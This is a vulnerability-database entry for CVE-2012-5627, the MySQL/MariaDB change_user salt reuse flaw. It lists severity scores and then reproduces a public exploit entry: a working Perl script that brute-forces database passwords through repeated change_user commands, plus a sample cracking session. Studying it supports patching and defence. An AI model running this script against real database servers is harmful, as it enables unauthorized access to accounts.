CVE-2012-5627 Detail

CVE-2012-5627

OWSAP

A04-Insecure Design

EPSS

0.31%V3

Vector

Network

Published

2013-10-01
15h00 +00:00

Modified

2014-02-10
21h57 +00:00

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CVE.org

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CVE Descriptions

Oracle MySQL and MariaDB 5.5.x before 5.5.29, 5.3.x before 5.3.12, and 5.2.x before 5.2.14 does not modify the salt during multiple executions of the change_user command within the same connection which makes it easier for remote authenticated users to conduct brute force password guessing attacks.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-522	Insufficiently Protected Credentials The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4		AV:N/AC:L/Au:S/C:P/I:N/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 38109

Publication date : 2012-12-05 23h00 +00:00
Author : kingcope
EDB Verified : Yes

source: https://www.securityfocus.com/bid/56837/info MySQL and MariaDB are prone to a security-bypass weakness. An attacker may be able to exploit this issue to aid in brute-force attacks; other attacks may also be possible. use Net::MySQL; $|=1; my $mysql = Net::MySQL->new( hostname => '192.168.2.3', database => 'test', user => "user", password => "secret", debug => 0, ); $crackuser = "crackme"; while(<stdin>) { chomp; $currentpass = $_; $vv = join "\0", $crackuser, "\x14". Net::MySQL::Password->scramble( $currentpass, $mysql->{salt}, $mysql->{client_capabilities} ) . "\0"; if ($mysql->_execute_command("\x11", $vv) ne undef) { print "[*] Cracked! --> $currentpass\n"; exit; } } --- example session: C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo hn --incremental --stdout=5 | perl mysqlcrack.pl Warning: MaxLen = 8 is too large for the current hash type, reduced to 5 words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH words: 24573 time: 0:00:00:04 w/s: 4916 current: rap words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3 words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429 words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141 words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2 [*] Cracked! --> pass words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs Session aborted